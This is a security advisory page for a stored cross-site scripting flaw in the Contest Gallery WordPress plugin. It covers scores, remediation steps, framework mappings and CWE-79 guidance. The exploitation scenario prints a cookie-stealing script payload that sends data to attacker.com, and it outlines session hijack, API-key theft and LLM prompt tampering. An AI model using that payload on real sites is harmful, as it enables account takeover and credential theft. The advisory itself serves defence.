CVE-2025-6716: Contest Gallery WP Plugin: Stored

Q: Is CVE-2025-6716 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-6716, increasing the risk of exploitation.

Q: How to fix CVE-2025-6716?

1. PATCH: Update Contest Gallery plugin to version 26.0.9 or later via WordPress admin dashboard. 2. ROTATE: Immediately rotate any OpenAI API keys configured in the plugin (Settings > Contest Gallery > OpenAI). 3. AUDIT: Query the database for malicious content — run: SELECT post_id, meta_value FROM wp_postmeta WHERE meta_key LIKE '%title%' AND meta_value LIKE '%<script%'; 4. REVIEW: Audit all Author-level and above accounts for unauthorized users. 5. WAF: Enable rules blocking script injection patterns targeting WordPress upload endpoints (ModSecurity CRS rule 941100+). 6. MONITOR: Alert on unexpected outbound HTTP requests from wp-admin sessions to non-trusted domains.

Q: What systems are affected by CVE-2025-6716?

This vulnerability affects the following AI/ML architecture patterns: WordPress AI plugin integrations, LLM API integrations, Plugin-based AI content pipelines, Web-based AI feature deployments.

Q: What is the CVSS score for CVE-2025-6716?

CVE-2025-6716 has a CVSS v3.1 base score of 6.4 (MEDIUM). The EPSS exploitation probability is 0.19%.

CISO Take

Author-level WordPress users can inject persistent JavaScript into gallery pages via the OpenAI-integrated Contest Gallery plugin. In an AI context, the real risk is exfiltration of OpenAI API keys or admin session tokens by anyone visiting an injected page. Update to v26.0.9+ immediately and rotate any OpenAI API credentials configured in the plugin.

What is the risk?

Medium risk with elevated concern for sites where the OpenAI integration is actively used. Attack complexity is low and only requires Author-level access — a privilege tier commonly granted to content contributors. While CVSS is 6.4 and it is not in CISA KEV, the combination of persistent payload execution and OpenAI API credential exposure potential raises the effective risk for AI-enabled WordPress deployments. No evidence of active exploitation at time of publication.

How severe is it?

CVSS 3.1

6.4 / 10

EPSS

0.2%

chance of exploitation in 30 days

Higher than 8% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Changed

C Low

I Low

A None

What should I do?

6 steps

PATCH

Update Contest Gallery plugin to version 26.0.9 or later via WordPress admin dashboard.
ROTATE

Immediately rotate any OpenAI API keys configured in the plugin (Settings > Contest Gallery > OpenAI).
AUDIT

Query the database for malicious content — run: SELECT post_id, meta_value FROM wp_postmeta WHERE meta_key LIKE '%title%' AND meta_value LIKE '%<script%';
REVIEW

Audit all Author-level and above accounts for unauthorized users.
WAF

Enable rules blocking script injection patterns targeting WordPress upload endpoints (ModSecurity CRS rule 941100+).
MONITOR

Alert on unexpected outbound HTTP requests from wp-admin sessions to non-trusted domains.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Leakage Plugin API AML.T0040 - AI Model Inference API Access AML.T0049 - Exploit Public-Facing Application AML.T0055 - Unsecured Credentials AML.T0093 - Prompt Infiltration via Public-Facing Application

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.1 - Information security in AI system development

NIST AI RMF

MANAGE-2.2 - Mechanisms for monitoring AI risks are in place

OWASP LLM Top 10

LLM05:2025 - Improper Output Handling

Frequently Asked Questions

What is CVE-2025-6716?

Author-level WordPress users can inject persistent JavaScript into gallery pages via the OpenAI-integrated Contest Gallery plugin. In an AI context, the real risk is exfiltration of OpenAI API keys or admin session tokens by anyone visiting an injected page. Update to v26.0.9+ immediately and rotate any OpenAI API credentials configured in the plugin.

Is CVE-2025-6716 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2025-6716, increasing the risk of exploitation.

How to fix CVE-2025-6716?

1. PATCH: Update Contest Gallery plugin to version 26.0.9 or later via WordPress admin dashboard. 2. ROTATE: Immediately rotate any OpenAI API keys configured in the plugin (Settings > Contest Gallery > OpenAI). 3. AUDIT: Query the database for malicious content — run: SELECT post_id, meta_value FROM wp_postmeta WHERE meta_key LIKE '%title%' AND meta_value LIKE '%<script%'; 4. REVIEW: Audit all Author-level and above accounts for unauthorized users. 5. WAF: Enable rules blocking script injection patterns targeting WordPress upload endpoints (ModSecurity CRS rule 941100+). 6. MONITOR: Alert on unexpected outbound HTTP requests from wp-admin sessions to non-trusted domains.

What systems are affected by CVE-2025-6716?

This vulnerability affects the following AI/ML architecture patterns: WordPress AI plugin integrations, LLM API integrations, Plugin-based AI content pipelines, Web-based AI feature deployments.

What is the CVSS score for CVE-2025-6716?

CVE-2025-6716 has a CVSS v3.1 base score of 6.4 (MEDIUM). The EPSS exploitation probability is 0.19%.

What is the AI security impact?

Affected AI Architectures

WordPress AI plugin integrationsLLM API integrationsPlugin-based AI content pipelinesWeb-based AI feature deployments

MITRE ATLAS Techniques

AML.T0040 AI Model Inference API Access

AML.T0049 Exploit Public-Facing Application

AML.T0055 Unsecured Credentials

AML.T0093 Prompt Infiltration via Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.1

NIST AI RMF: MANAGE-2.2

OWASP LLM Top 10: LLM05:2025

What are the technical details?

Original Advisory

The Photos, Files, YouTube, Twitter, Instagram, TikTok, Ecommerce Contest Gallery – Upload, Vote, Sell via PayPal or Stripe, Social Share Buttons, OpenAI plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'upload[1][title]' parameter in all versions up to, and including, 26.0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Exploitation Scenario

An attacker with a legitimate or compromised WordPress Author account uploads a file to the contest gallery with a crafted title: <script>fetch('https://attacker.com/exfil?c='+document.cookie)</script>. The plugin stores this unsanitized value. When a site administrator visits the gallery management page to review submissions, the script silently fires, sending the admin's WordPress session cookie to the attacker. The attacker then uses that session to access wp-admin, extract the OpenAI API key from the plugin settings, and either abuse it directly (cost harvesting, data extraction) or pivot to modify the plugin's LLM prompts to inject malicious instructions into all future AI-processed gallery content.

Weaknesses (CWE)

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.